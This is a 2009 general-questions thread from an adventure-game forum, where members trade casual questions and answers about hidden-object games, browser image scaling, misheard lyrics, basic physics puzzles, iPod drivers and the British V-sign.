Hm, I'm not sure, according to the wikipedia entry this is a game with some laser rifle  ??? Or is this just some high-tech version of this game?

Another edit: google revealed that this is probably both. So I think I can go with it. Thanks guys!  :D

link (http://www.appletonsfunfairs.co.uk/billy_moore_tin_can_alley_146.jpg)
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Post by: Stee on 16 Apr 2009, 10:21
I have a question. At the risk of sounding stupid, wtf is a hidden object game? Is it someones idea of an adventure game that takes 5mins to make and consequently complete like it think it is, those stupid pixel hunt puzzles people put into games to annoy you all combined into one game?

Im too scared to actually try one as it sounds like something that will make me want to blow my own brains out.
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Post by: GarageGothic on 16 Apr 2009, 12:04
I must admit that I've had more fun with casual hidden object games than with any "real" adventure released last year. But it's definitely an acquired taste. They're not really pixel hunts, as you are usually allowed a limited number of clicks (if there's a time limit, clicking randomly more than 5 times or so will usually deduct a few minutes from the countdown) and all items are visible on-screen, only "hidden" among other junk in the background.

The genre seems to be evolving though (not necessarily for the better - the first Women's Murder Club game was much more challenging that the second), with more variety, mini games, logic puzzles and dropping the arbitrary searches for 5 flowers or the letter 'Q' in the middle of a crime scene investigation.

They're not bad games, but definitely no adventure games, and certainly a very casual gaming experience. Most adventure fans will hate them, and most hidden object fans will find "true" adventure games quite boring (as evidenced by the response to Dave Gilbert's Emerald City Confidential). If you want to give them a try, I recommend Dr. Lynch: Grave Secrets (http://www.bigfishgames.com/download-games/4269/dr-lynch-grave-secrets/index.html) written by Jane Jensen. There should be an hour of gameplay in the demo version, more than enough to make up your mind about the genre.

DISCLAIMER: Neither I nor Oberon Games can in any way be held responsible in case you actually do blow your brains out. To be on the safe side, you may want to read a review (http://www.gamezebo.com/games/dr-lynch-grave-secrets/review) instead of becoming another casualty of hidden object game related suicide.
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Post by: Stee on 16 Apr 2009, 21:35
thanks for the response, I'm glad I was notified before i did something stupid  ;D
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Post by: Ookki on 22 Apr 2009, 14:25
Hi! I just upgraded my IE 7 to IE 8 and came up with a problem I've read on some of the posts on critics section. Every stretched pixel art picture that used to look like it had been zoomed in Paint (which was like they were ment to be) now show up as ugly blurry images. Any idea how to fix this?  :-[
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Post by: Hudders on 22 Apr 2009, 14:44
It's because it, (and FF3), use a bilinear filter on upscaled images. This is fine for 99% of the time but for pixel art it sucks.

I'm not aware of a reliable solution at present.
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Post by: rharpe on 22 Apr 2009, 15:05
Hi! I just upgraded my IE 7 to IE 8 and came up with a problem I've read on some of the posts on critics section. Every stretched pixel art picture that used to look like it had been zoomed in Paint (which was like they were ment to be) now show up as ugly blurry images. Any idea how to fix this?  :-[
Uninstall IE8 then get the IE Tab plug-in for FireFox 3.0.* (https://addons.mozilla.org/en-US/firefox/addon/1419) (You'll be happy you did.)
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Post by: Ookki on 22 Apr 2009, 15:07
Hi! I just upgraded my IE 7 to IE 8 and came up with a problem I've read on some of the posts on critics section. Every stretched pixel art picture that used to look like it had been zoomed in Paint (which was like they were ment to be) now show up as ugly blurry images. Any idea how to fix this?  :-[
Uninstall IE8 then get the IE Tab plug-in for FireFox 3.0.* (https://addons.mozilla.org/en-US/firefox/addon/1419) (You'll be happy you did.)

However, Hudders here just said that FireFox 3 has the same problem too. :D So I'm convincied that will help me too much.
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Post by: Tuomas on 22 Apr 2009, 15:46
Well it does, but it has the plugin to fix it too. I recommend switching to Opera myself ;)
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Post by: Hudders on 22 Apr 2009, 16:28
The newest version of FF3, (3.1.0.9), fixes the problem to some degree. It's not perfect but it's better than it was.
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Post by: Ookki on 22 Apr 2009, 18:15
That's quite sad. :( For me that is. The first time in my life I'm trying to use as much windowy programs as possible: IE, firewall, messenger, media player etc. :D I guess I have to end this experiment or just wait for a fix to IE, I bet they know about this already.
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Post by: rharpe on 22 Apr 2009, 18:36
That's quite sad. :( For me that is. The first time in my life I'm trying to use as much windowy programs as possible: IE, firewall, messenger, media player etc. :D I guess I have to end this experiment or just wait for a fix to IE, I bet they know about this already.
Go back to IE6... it never had this problem. (Of course your security would surely be breached!)

To progress in this life you must make sacrifices, no matter how you look at it.
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Post by: Oliwerko on 22 Apr 2009, 20:11
Or switch to Opera.
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Post by: Ookki on 22 Apr 2009, 23:55
That's quite sad. :( For me that is. The first time in my life I'm trying to use as much windowy programs as possible: IE, firewall, messenger, media player etc. :D I guess I have to end this experiment or just wait for a fix to IE, I bet they know about this already.
Go back to IE6... it never had this problem. (Of course your security would surely be breached!)

To progress in this life you must make sacrifices, no matter how you look at it.

That would be even sadder. :D I loved IE 7 though you might not belive it. I don't know about opera. I had it for a short time before my latest reinstall and though it had some really really nice features, I thought it was a little slow.

I really hope there was a suggestions email to microsoft. You know big companies always listen to one persons opinions.  ;D
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Post by: Andail on 18 May 2009, 08:20
I've had some unanswered questions floating in my mind lately, but now I can only come up with two of them.

The first one is:
In the Simpsons Episode Lisa the beauty queen, Bart (who is, for some reason, supposed to be an expert on beauty and make-overs) confidently offers his advice on how to turn Lisa into a potential winner of the beauty pageant. He finishes off with something like "and then I will teach her the ancient art of petting".
Is this a joke that doesn't translate well, or am I just hearing wrong, but to me it sounds really disturbing that Bart would teach his sister the art of petting. I guess this incestuous concept would be funny in a South Park kind of way, but in a Simpsons episode it doesn't really make any sense to me.

The other one is:
In Led Zeppelin's All of my love, Robert Plant sings "Proud Aryan one word, my will to sustain". What is this supposed to mean? To my knowledge, Plant isn't a racist, or a neo-nazi for that matter, and I doubt he had the original Indo-Iranian meaning in mind. A weird place to find the word "Aryan" either way.

Any thoughts?
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Post by: Hudders on 18 May 2009, 08:46
It isn't "proud Aryan", it's "proud Arianne".  ;)

EDIT: I've just realised that you also misheard the Simpson's quote. It's "the ancient art of padding", (i.e. padding a bra).

Quote from: [url=http://simpsons-scripts.wikidot.com/lisa-the-beauty-queen]Bart Simpson[/url]
Later, I'll teach you the tricks of the trade: Taping your swimsuit to your butt, petroleum jelly on your teeth for that frictionless smile, and the ancient art of padding.

I had no idea there was a website where someone has transcribed every single Simpsons episode!

EDIT2: I just reread this thread and realised nobody ever answered the original question. Here's a website for you, Stupot; hope it helps. (http://www.mail.com/)
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Post by: Trent R on 20 May 2009, 17:59
Hudders, you're wrong about Stupot's original post, although mail.com does have tons of subdomains to choose from. (though I have always stuck with plain-old mail.com)
He's talking about a different service... but I can't recall the name either.

~Trent
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Post by: Hudders on 20 May 2009, 22:50
I don't think such a service exists anymore. I know what you mean, but I think mail.com is the closest available right now.

Either that or a paid for service, such as this. (http://www.absolute-email.net/index.html)
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Post by: Stupot on 21 May 2009, 01:07
I've got a big feeling it might have been 'another.com'.

These days they are a regular domain-buying site that offers hosting etc like easily and godaddy.
But I'm certain that they (or whoever I'm thinking of) used to hoard the domain names for themselves but just dish out email addresses using the domain names they owned.
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Post by: Bulbapuck on 13 Jun 2009, 21:56
I have a question, and since it's far too simple to be worth a whole thread I decided to revive this one ;)

My question is this: I've created some sound effects in .midi format. Now I realise that I can't use these for my games. :=
Does anyone know a good converter from midi to mp3/ogg/wav/voc ?
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Post by: arj0n on 14 Jun 2009, 00:18
Bulbapuck,
Maybe you should look at Direct MIDI to MP3 Converter (http://www.pistonsoft.com/midi2mp3.html)
It's a "full featured 30 days trial program, conversion time is not limited.
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Post by: Bulbapuck on 14 Jun 2009, 02:27
Brilliant [ Arj0n ]!

Thanks a million ;D!
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Post by: Stupot on 15 Jun 2009, 20:23
Is anyone else not able to get Facebook today or is it just me?
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Post by: Babar on 15 Jun 2009, 20:27
Interesting use of this thread :D.

And no,  it is just you.

Also (despite my use of this thread not being successful before), does anyone remember this show?
It seemed to have several "skits" in each episode, and I remember one of them being this kid selling all sorts of weird, nasty stuff on the street, calling out the names (stuff like scabs and acne in jars). And it also had something to do with a TV on in a dark room. Another sketch involved this guy helping out this group of people on some island, who thought their noses were too big, but then he told them to not play checkers in the rain, so that their sweaters would not shrink.
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Post by: Atelier on 15 Jun 2009, 20:59
 :-\ What were you watching? Anybody who does remember probably wants to forget...
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Post by: rharpe on 26 Jun 2009, 05:33
Has anyone here heard of Swap Tree? Have you tried it? http://www.swaptree.com/ (http://www.swaptree.com/)

What do you think about it? All comments welcomed.
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Post by: Nikolas on 26 Jun 2009, 07:55
What do you think about it? All comments welcomed.
Haven't tried it but I think it's an awesome idea, an awesome way, for example, to battle piracy, and a great way to also battle the greed that goes on in all companies! A legal sharing site! Hell YAY!

A pity it's not universal (then again shiping fees would be ridiculous really).
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Post by: TerranRich on 26 Jun 2009, 08:07
OK, this one will stump most of you, I'm sure. I'm remembering a song, definitely from the 1970s. It's an instrumental song, with a little bit of "funk" feel to it. I do remember that on Conan O'Brien's former show (Late Night) his band played it during the transition from monologue to first guest, I'm sure of it, so it might have been a hit once.

Either the band name or the song title had "Detroit" in it. I may be wrong, but for some reason "Detroit" sticks out in my mind. I wish I could find a clip, but hours of Googling brought up nothing. Even if I tried to hum it or vocalize it and have you all hear it, it wouldn't really sound right.

The best I can describe is a mostly "funk" feel to it, kind of fast-paced, entirely instrumental. I remember it from a cassette tape I used to have of classic rock songs from the 70s. Can anybody help?
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Post by: Tuomas on 02 Aug 2009, 21:22
I don't suppose you mean Detroit, the band, that recorded one album in the 70's? I actually only know them playing a Lou Reed cover though, "Rock and Roll". This is all wikipedia could also tell us about them :( No videos on youtube either, the Lou Reed song is there, if you wanna check it out.

Probably not Bowie's "Panic in Detroit" either? Both of these have words in them. If you could record a piece of the melody or anything, it might help us a bit.
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Post by: Oliwerko on 05 Aug 2009, 10:25
Does anyone have any experience with this "touch scroll" thing Genius mice came up with? My Logitech middle wheel is dying and from what I see, Logitech mice are either expensive or have shitty wheels.

The touch scroll thing looks interesting, but having no chance to try it, did anyone do so here?
I use the wheel/I press the wheel a lot, so it looks like a nice change.

Anyone?
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Post by: MJL on 22 Aug 2009, 02:02
Not a question, but still an ask...

Bit of an odd request granted, but if anyone has/can get Summer Heights High theme tune in MP3/HQ format for me, please let me know - thanks! :)
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Post by: monkey0506 on 22 Aug 2009, 13:28
@Mods:

Step 1 (http://www.youtube.com/watch?v=oL0JsBMJVns)

Step 2 (http://audacity.sourceforge.net/)

You're welcome! 8)
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Post by: InCreator on 23 Aug 2009, 22:08
Few scientific ones I thought about while trying to sleep:

1) How does temperature (heat energy) act in vacuum? Let's say, we put a bowl of hot soup into airless room. Since there's no air to absorb heat, does soup suffer from any temperature loss at all (after giving some to the bowl)? I believe thermos uses vacuum somehow to keep liquid warm..?

2) Let's say there's no air on earth and I'm standing ontop of mount everest or tallest skyscraper. I throw a baseball. Can I make it orbit earth? Would lack of air friction make my throwing speed high enough to achieve needed speed? Also, since there's no air friction in space, why do astronauts in suits move so damn slow?
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Post by: arj0n on 23 Aug 2009, 22:22
InC,

As for the first scientific one:

Heat = atomic motion
vacuum = (almost) no atoms.
No atoms = no heat loss or warming up by conduction

So the hot soup stays hot and cools down very slowly because a perfect vacuum is nearly impossible.
But I guess that theoretically the hot soup stays hot as long as there is no conduction.
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Post by: zabnat on 23 Aug 2009, 22:55
2) Let's say there's no air on earth and I'm stanting ontop of mount everest or tallest skyscraper. I throw a baseball. Can I make it orbit earth? Would lack of air friction make my throwing speed high enough to achieve needed speed? Also, since there's no air friction in space, why do astronauts in suits move so damn slow?
The baseball would need a velocity of 8 km/s to make it to the orbit. Since there is no air the air drag doesn't deccelerate the ball, but gravity drag still does. So the ball would need to leave your hand with even greater velocity.
Maybe astronauts move so damn slow because their suits are so big and clumsy? Also, they want to be careful so they don't drift away from the spaceship/-station. That would be a sucky way to die.
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Post by: Anian on 24 Aug 2009, 01:38
Heat = atomic motion
vacuum = (almost) no atoms.
No atoms = no heat loss or warming up by conduction

So the hot soup stays hot and cools down very slowly because a perfect vacuum is nearly impossible.
But I guess that theoretically the hot soup stays hot as long as there is no conduction.
...then how do we get heat from the Sun here on Earth? Heat is not atomic motion in the sense it's the atoms, it's the energy that makes the atoms move/vibrate...it's not only energy waves, but it's EM waves - the ones that don't need matter/medium to spread...
Or did I just make an ass out myself?  :-\

Yeah, about the gravity ball in orbit thing, as zabnat said, even though the speed is determined by the air friction very much, the forces that act upon the ball should be equivalent, well in the vertical direction (meaning that gravity and the part of centrifugal force that pushes the ball away from the center of Earth are same but in opposite directions), but there should be the part of the centrifugal force that moves the ball in the direction you threw it (so it moves "horizontally"). It's all in the vectors.  ;D

While on astronauts thing - they should give them something like the ropes Batman uses for grapling (only maybe with some thing sticky or magnets at the end, so they don't damage the actual ship). They should have that on their arms so if the drift away they just point it at the shuttle and shoot...maybe they even have that.
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Post by: Calin Leafshade on 24 Aug 2009, 02:46
Heat has three methods of motion.

Conduction - which will not happen in a vacuum
Convection - which is due to varying densities, also not possible in space
and radiation - This is electro magnetic radiation which is how we get our heat from the sun.

The soup would cool down but very slowly...

As for the baseball; Air resistence is a fairly small force when considering something like a baseball. Even without air resistence you would need to apply about 5MJoules to the baseball. which is about 2.5 sticks of dynamite.

EDIT: actually now i think about it, im wrong about the soup.

The soup would freeze.

Conduction has quite a small effect on heat transfer. Most of the heat loss is done by radiation, which is still affected by differential temperature gradients.. therefore the soups days are numbered. since its like 3-4K in space.

Conduction in a gas is really quite small.. think about touching something metal which has been in a room for along time.. its still cold.
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Post by: Jared on 24 Aug 2009, 03:39
While on astronauts thing - they should give them something like the ropes Batman uses for grapling (only maybe with some thing sticky or magnets at the end, so they don't damage the actual ship). They should have that on their arms so if the drift away they just point it at the shuttle and shoot...maybe they even have that.

The trouble with that idea being that Batman uses one in a situation where there's gravity and a clearly defined 'up'. Because the grapple pulls him away from the Earth's gravitational pull it's easy for him to stop. In a Zero-G environment, once you accelerate you need to apply an equal force to stop yourself moving which is basically asking astronauts to pick up over their own body weight. End result - astronauts slamming into the ship's hull and it becomes a contest as to whether the suit or the ship takes the worst/most expensive damage.

Tools don't work predictably in space. They found early on that a drill used in Zero-G would actually cause the astronaut to spin around at great speed, for example. A lot of the way things work mechanically here on Earth is due to our gravity and we don't take it into account.
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Post by: Ultra Magnus on 24 Aug 2009, 04:45
While on astronauts thing - they should give them something like the ropes Batman uses for grapling (only maybe with some thing sticky or magnets at the end, so they don't damage the actual ship). They should have that on their arms so if the drift away they just point it at the shuttle and shoot...maybe they even have that.

The trouble with that idea being that Batman uses one in a situation where there's gravity and a clearly defined 'up'. Because the grapple pulls him away from the Earth's gravitational pull it's easy for him to stop. In a Zero-G environment, once you accelerate you need to apply an equal force to stop yourself moving which is basically asking astronauts to pick up over their own body weight. End result - astronauts slamming into the ship's hull and it becomes a contest as to whether the suit or the ship takes the worst/most expensive damage.

Not necessarily.
You're assuming it must include the rope-retracting mechanism, but it doesn't have to.
The astronauts could just pull the rope by hand once it's attached.
They could probably even still include the retracting mech if they made it sufficiently weak.


Tools don't work predictably in space. They found early on that a drill used in Zero-G would actually cause the astronaut to spin around at great speed, for example.
Even if that astronaut was anchored to the rest of the shuttle in some way?


Edited out rather condescending pic.
Sorry, I mis-read your post. Upon re-reading, it's clear I didn't need to explain that to you.
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Post by: Jared on 24 Aug 2009, 05:43
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The astronauts could just pull the rope by hand once it's attached.

At that point they'd have basically exactly the same mechanism that they have now..
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Post by: Ultra Magnus on 24 Aug 2009, 06:37
Well, in that case...

While on astronauts thing - they should give them something like the ropes Batman uses for grapling (only maybe with some thing sticky or magnets at the end, so they don't damage the actual ship). They should have that on their arms so if the drift away they just point it at the shuttle and shoot...maybe they even have that.

They do.

Fixed that for you. ;)
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Post by: arj0n on 24 Aug 2009, 11:43
Heat = atomic motion
vacuum = (almost) no atoms.
No atoms = no heat loss or warming up by conduction

So the hot soup stays hot and cools down very slowly because a perfect vacuum is nearly impossible.
But I guess that theoretically the hot soup stays hot as long as there is no conduction.
...then how do we get heat from the Sun here on Earth? Heat is not atomic motion in the sense it's the atoms, it's the energy that makes the atoms move/vibrate...it's not only energy waves, but it's EM waves - the ones that don't need matter/medium to spread...
Or did I just make an ass out myself?  :-\
well, atomic motion gives also vibration which leads to invisible Infrared Radiation, that's how we get heat from the sun here on earth.
When infrared is absorbed, it results in atomic motion, and therefore, in a rise in temperature.
And no, you didn't make an ass out of yourself ;)
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Post by: Jared on 25 Aug 2009, 00:17
A (somewhat) interesting note from that is that the assumption that it's cold in space is actually wrong. The best known astronauts from our missions are in danger of freezing if outside the capsule for too long, but that's because their missions have been deliberately run when the Earth is between themselves and the sun to give them protection. A book I read stated that in direct sunlight the temperature of space is literally boiling.
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Post by: MJL on 25 Aug 2009, 00:19
@Mods:

Step 1 (http://www.youtube.com/watch?v=oL0JsBMJVns)

Step 2 (http://audacity.sourceforge.net/)

You're welcome! 8)

Thanks.

But sadly, for some reason, this computer won't allow me to record my stereo out mix. But thanks for the links :)
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Post by: arj0n on 25 Aug 2009, 14:07
Mods, I've upped the Summer Heights High Theme here's  (http://www.megaupload.com/?d=KZSGWLAX) if still needed.

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Post by: zabnat on 29 Sep 2009, 23:36
This has bugged me couple of days now.
If I had bucket of room temperature water (10 liters), would it be possible to cool an object (like a rock) so cold that it would freeze all the water in the bucket. Let's say the bucket would be 20 liters so no water would escape even if the object would displace 10 liters. So how cold the object would have to be? How big would it have to be? What material would it have to be?
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Post by: Calin Leafshade on 30 Sep 2009, 00:19
hmmm.. You would need to put something in that, once the temperatures had equalised, would be colder than zero degrees.

So to entirely freeze a bucket of 10 litres of water you would need to remove about 1kJ of energy I think (MCdT)
so the object you put in would need to have at least 2kJ LESS thermal energy than the water.. which is nothing really.
(it takes about 3kJ to boil water)

As for the exact temperature and material i have no idea since i dont have the specific heat capacity of loads of materials available.

It's actually not possible to calculate the total thermal energy of a system since a 'perfect' gas doesnt exist. Any changes in temperature result in phase changes which screws everything up. Thats quantum physics for you.

I reckon a lump of anything cooled to about -50 and of equal mass to the water should do it easily. Assuming perfect conditions.

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Post by: Creed Malay on 30 Sep 2009, 08:05
 How do Crane Flies (http://en.wikipedia.org/wiki/Crane_fly) survive? Seriously, they are useless - they can barely fly, and those insanely long legs don't seem to have any real point to them at all. They're rubbish, but they seem to do alright - they're everywhere at this time of year. What is those guys deal? How come they haven't been eaten into extiction by birds by now?
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Post by: Calin Leafshade on 30 Sep 2009, 12:24
frasier crane sends them food parcels.
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Post by: arj0n on 30 Sep 2009, 13:16
If there is one animal I hate it is definitely the (female) mosquito.
Is there any usefulness of there existence beside being food for fish?
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Post by: monkey0506 on 30 Sep 2009, 14:21
Dear something,*

Firstly thank you all for what you have done and are doing. I have recently encountered a situation which may call for your specialist services. I recently have discovered that on my personal computer games from TellTale Games seem to be leaking memory in much the same way that Niagra Falls leaks water.

I can't seem to figure out why this would be, and so I'm just seeking answers here. Any and all help you can provide would be much appreciated. My system specs and original reference for this question may be found here (http://www.telltalegames.com/forums/showthread.php?t=12542).

Thanks again,

monkey

*The subject clearly says, "Ask something". So that's what I'm doing. I'm asking something a question. Got a problem with that?
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Post by: Abisso on 01 Oct 2009, 14:15
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This has bugged me couple of days now.
If I had bucket of room temperature water (10 liters), would it be possible to cool an object (like a rock) so cold that it would freeze all the water in the bucket. Let's say the bucket would be 20 liters so no water would escape even if the object would displace 10 liters. So how cold the object would have to be? How big would it have to be? What material would it have to be?

I usually think about situations at the "limit" to solve this kind of problems. So let's cool a bucket of water till about (just a bit more than) 0° C. Then it's quite obvious that putting an object with an adequately lower temperature will suffice to freeze the water. Exact temp and mass of the object I don't know, but it's surely possible, under certain conditions, as long as you don't put restrictions on the mass and temperature of the object. Real life restrictions could probably involve the lower temperature easily achievable. I believe you can use liquid nitrogen to reach really low temps.

P.S. Objects actually happen to freeze water even as we speak: never noticed how the ice is usually found over car's windows, even when puddles aren't frozen?
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Post by: Scarab on 03 Oct 2009, 17:32
Conduction in a gas is really quite small.. think about touching something metal which has been in a room for along time.. its still cold.

Actually, all objects sitting long enough become 'room temperature', and the reason metal or tiles feel cold to the touch is because they are good conductors. The sensation of the coldness is due to a large amount of energy from your hand being transferred to the other object quickly (so we do not so much feel the 'coldness' but we feel 'negative' heat). This is because the human body is not good at quantifying things, just good at comparing them. e.g. If you put your left hand in cold water, and your right hand in hot water, then put them both in a bowl of warm water, your right hand will feel cold, and your left had will feel hot. Or you can only smell something in a room for a few seconds until your brain accepts this as the 'norm' and stops processing it.

So a metal object which has been in a room for a long time is not still cold, it just heats up really quickly.

S.
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Post by: InCreator on 04 Oct 2009, 12:43
P.S. Objects actually happen to freeze water even as we speak: never noticed how the ice is usually found over car's windows, even when puddles aren't frozen?

I don't think it's car glass that froze water here: any water of same little size as vapor drops on glass would be frozen also. Freezing comes from the fact that water drops are small enough to quickly lose enough heat and freeze. At basic level, it's air that's cold, not glass or water. And air that cools things off.

Puddles simply are larger (deeper) and therefore warmer. If same temperature stays long enough, puddles freeze anyway. There's simply more water to cool so it takes more time.

 It's like russian tradition - to pour tea from cup to a the little dish and drink it from dish -- it loses temperature alot faster thus isn't too hot to drink. Two reasons here -- liquid over larger area = more exposed to air which steals temperature, and less liquid at once - cools faster.

But sure, things cool water. A big cold spoon into a teacup makes it cool much quicker.
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Post by: Abisso on 04 Oct 2009, 15:54
@Who?
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I don't think it's car glass that froze water here:

Well, actually each material has a different conductivity. And that determines how good it is to exchange heat as well.

Calin Leafshade explains this pretty well, and I agree:

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Actually, all objects sitting long enough become 'room temperature', and the reason metal or tiles feel cold to the touch is because they are good conductors. The sensation of the coldness is due to a large amount of energy from your hand being transferred to the other object quickly (so we do not so much feel the 'coldness' but we feel 'negative' heat). This is because the human body is not good at quantifying things, just good at comparing them. e.g. If you put your left hand in cold water, and your right hand in hot water, then put them both in a bowl of warm water, your right hand will feel cold, and your left had will feel hot. Or you can only smell something in a room for a few seconds until your brain accepts this as the 'norm' and stops processing it.

So a metal object which has been in a room for a long time is not still cold, it just heats up really quickly.
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Post by: Stupot on 09 Oct 2009, 23:25
Hey guys... wonder if anyone can help me.
I bought my mates iPod off him a few weeks ago and have only just got round to trying to play with it.
Trouble is... when I plug it into the USB port, my laptop doesn't seem to want to recognize it.
It will acknowledge that I have put the device in there, and then it tells me it needs to install a device driver... which it says is a success... but after that it doesn't seem to register on my Computer, so I can't do anything with it.

I've tried it in all the USB ports, coz I know my webcam wont work in all of them, but to no avail...

Any ideas?

Cheers.

P.S. My computer refers to it as an 'Unidentified Device'... How to I get it 'identified'?
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Post by: Calin Leafshade on 10 Oct 2009, 00:11
You need to install iTunes first. The Ipod service is required to recognise the ipod
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Post by: Stupot on 10 Oct 2009, 01:28
I've got iTunes... always have... just never had an iPod to go with it... I'm pretty sure its something to do with drivers... most of my problems arenormally to do with drivers.
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Post by: Abisso on 10 Oct 2009, 01:50
I'm pretty sure you already have, but take a look here:

http://support.apple.com/kb/TS1496

Maybe you've got an incompatible Itunes version.
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Post by: Calin Leafshade on 10 Oct 2009, 02:01
As far as im aware the Ipod doesn't *need* any drivers. It's essentially just a portable hard drive and so falls under the general spec.

However to make it work as an ipod it requires the Ipod Service to be all running and working.
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Post by: Ryan Timoothy on 14 Oct 2009, 16:45
QUESTION and story: I walked into the office at my work and gave the secretary the peace sign as I approached her desk (I'm always bugging her :P).  She told me she believes that in England you'll get your face punched in if you have your hand turned to show your knuckles/palm while giving the peace sign, but with your hand turned around is the correct way.

Is this true?  Is this really an insult in England (which she mentioned she believed it was England, or some country in the vicinity).
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Post by: NsMn on 14 Oct 2009, 16:54
You'll have to keep your fingers closed for this, as far as I know.
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Post by: IndieBoy on 14 Oct 2009, 17:11
It's pretty much like showing the middle finger at someone. Basically it is a backwards peace sign.
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Post by: arj0n on 14 Oct 2009, 17:12
QUESTION and story: I walked into the office at my work and gave the secretary the peace sign as I approached her desk (I'm always bugging her :P).  She told me she believes that in England you'll get your face punched in if you have your hand turned to show your knuckles/palm while giving the peace sign, but with your hand turned around is the correct way.

Is this true?  Is this really an insult in England (which she mentioned she believed it was England, or some country in the vicinity).
Yep, that's true.
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Post by: Ryan Timoothy on 14 Oct 2009, 17:50
Wow.  I better make a mental note to always show the back of my hand for a peace sign.
Sometimes I go either way, knuckles in or out. :P  Not anymore.. lol


Woah. Now I'm confused.  According to SteveMcCrea and the Wiki link that Monkey posted, showing the back of the hand is the wrong way to give a peace sign.

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In the UK, Ireland, Australia and New Zealand, the V sign (given with back of the hand towards the recipient) serves a similar purpose, although "the finger" is often used. The characters of the British sitcom Are You Being Served? often use the V sign when agitated with each other. This gesture is also used to a lesser extent in Canada.
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Post by: Nikolas on 14 Oct 2009, 18:00
QUESTION and story: I walked into the office at my work and gave the secretary the peace sign as I approached her desk (I'm always bugging her :P).  She told me she believes that in England you'll get your face punched in if you have your hand turned to show your knuckles/palm while giving the peace sign, but with your hand turned around is the correct way.
Completely and utterly true! It basically means "fuck off".

The explanation to this goes quite a few years ago, in some town in England where (at least from what I've heard) they had tons of minners. The minners had accidents, as it usually happens, but in that particular area and mines they would lose the 2nd digit. So when minners would enter into a pub, and they were not wanted they would get the sign of both fingers (the inverted peace sign) and they would know they were not welcomed, since they didn't have the 2nd finger, to do the same.

alternatives offer archers in the place of miners and those who were losers lost the 2nd finger, so they wouldnt' be able to use the bow again (and they were told to "fuck off" in the pub, or elsewhere...)
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Post by: monkey0506 on 15 Oct 2009, 02:01
This can actually be seen in movies like Shaun of the Dead and Hot Fuzz (at least one of the two has it anyway) and is accompanied (in the movie) with a comical raspberry (http://en.wikipedia.org/wiki/Blowing_a_raspberry).

IIRC Dave Gilbert made a comment on this when he gave the "reverse" peace sign during a Mittens Photo Shoot and later found out he was giving everyone the British equivalent of flipping the bird (http://en.wikipedia.org/wiki/Flipping_the_bird). :D
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Post by: Kweepa on 15 Oct 2009, 02:24
Good:
(http://i600.photobucket.com/albums/tt82/skinnymojo69/2-0000000.jpg)

Bad:
(http://2.bp.blogspot.com/_GNJ954SzZVs/SJ-WCZu_RII/AAAAAAAABbM/YqMFoXr7rRc/s400/Vyvyan+Young+Ones.jpg)
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Post by: Ryan Timoothy on 15 Oct 2009, 04:22
Thanks Steve and Monkey.  You just saved me from a confusion that never got spotted, probably due to my confusing wording.
I would have been making an incorrect mental note to be showing a peace sign the wrong way.
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Post by: Scarab on 15 Oct 2009, 10:02
alternatives offer archers in the place of miners and those who were losers lost the 2nd finger, so they wouldnt' be able to use the bow again (and they were told to "fuck off" in the pub, or elsewhere...)

I always thought that it was because during the wars between medieval England and France, the longbow was the most powerful weapon in the British arsenal (it was too expensive and difficult to employ for the French to use). As it took such a mighty toll on the French soldiers, the French generals decided to put out a bounty on the index and middle finger of the English soldiers. It then became a taunt of the Brits to the French... a bit of a "come and get 'em", and then it just evolved over time to become the British eqivalent of the middle finger that exists today.
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Post by: arj0n on 15 Oct 2009, 13:59
@Timothy:
V-sign nowaday usage :

Back of the hand facing the signer:
Palm facing the signer:
Used with other movement:

@Scarab
Your right:
The legend [which can be true] of the V-sign:
The story claims that the French claimed that they would cut off the arrow-shooting fingers of all the English and Welsh longbowmen after they had won the battle at Agincourt. But the longbowmen came out victorious and showed off their two fingers, still intact [taunt]...

V
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Post by: Stupot on 15 Oct 2009, 14:15
I love how in Japan they automatically pull a V-sign whenever a camera is pointed at them... especially the girls. The Koreans do too. However, having the palm facing the signer or the recipient seems to be largely interchangeable (correct me if I'm wrong).

I have many photos of my lovely Korean friend, who wouldn't hurt a fly, seemingly giving me the two-fingered salute.  Or maybe she just hates me:-(
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Post by: Wesray on 15 Oct 2009, 15:32
Jep, Chinese girls seem to love doing the V-sign on photos too. Palms outside, from my experience.
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Post by: Gilbert on 15 Oct 2009, 17:00
Really?
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Post by: Wesray on 15 Oct 2009, 19:24
They do it on almost all my pictures.

(http://www.pictureupload.de/originals/pictures/151009202308_vv.JPG)

I figured it's a local custom, but it seems popular all over Asia.
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Post by: Gilbert on 16 Oct 2009, 02:42
I don't see that much in my everyday life. :P
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Post by: Andail on 16 Oct 2009, 09:38
I've also heard they eat magpies alive.
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Post by: Vince Twelve on 16 Oct 2009, 16:02
It starts when they're really young and just becomes the natural thing to do in a picture.  Here's my daughter at less-than-two-ish:

(http://farm3.static.flickr.com/2418/1771962179_c023b7931a.jpg)

There was a period where before taking a picture, she would try really hard to make peace signs, but be unable, so we have lots of pictures of not-quite-peace-signs.

(http://farm3.static.flickr.com/2265/1772924680_a7f20a73fb.jpg)

(http://farm3.static.flickr.com/2103/1849996642_ac661579fa.jpg)

(http://farm4.static.flickr.com/3258/2352039412_65e7b17bb6.jpg)

Eventually, she gets there.

(http://farm3.static.flickr.com/2119/2352038442_e1ff32ab59.jpg)

And when you live there long enough... you just can't help it...

(http://farm3.static.flickr.com/2267/2454457060_515d0183d1.jpg)

Edit: Sorry, I jump at any chance to show off how cute my kid is. :P
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Post by: Babar on 16 Oct 2009, 17:01
I propose we start a movement to do the "Palm Out" or "All fingers towards the camera" sign, like the one your daughter is doing in some of those pictures. It is very close to the Pakistani gesture for "I curse you", but it could still work! It is like a magician casting a spell :D.
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Post by: monkey0506 on 16 Oct 2009, 18:35
There was a period where before taking a picture, she would try really hard to make peace signs, but be unable, so we have lots of pictures of not-quite-peace-signs.

(http://farm3.static.flickr.com/2265/1772924680_a7f20a73fb.jpg)

Your "cute" daughter is trying to shoot force lightning at everyone!

Honestly Vince, what've you been teaching that kid? You're training her in the Dark Side of the Force. ADMIT IT!

And then, after admitting it, could you give me a few pointers? Y'know I've been trying to explain to my sister that "Star Wars: Knights of the Old Republic" is just a formality and the true title of the game is "Star Wars: Go to the Dark Side"... ::)

Edit: Also she is flying (levitating). :o

Edit also: I used a simple photographic enhancement program to determine that the original photo was clearly modified. You can't hide anything from me Vince:

(http://img73.imageshack.us/img73/1461/vinceyourchildisthenext.png)
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Post by: RickJ on 17 Oct 2009, 00:58
Hehe, I can use a bit of help.  Someone make a couple cool blue cup icons recently and posted them, i believe in the Chat forum but I'll be dammed if I can find them now.   I searched for icon, ags icon, cup, etc  but came up negative.   Perhaps some one with a better memory can help me locate them.  Thanks..   :=
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Post by: Domino on 17 Oct 2009, 01:17
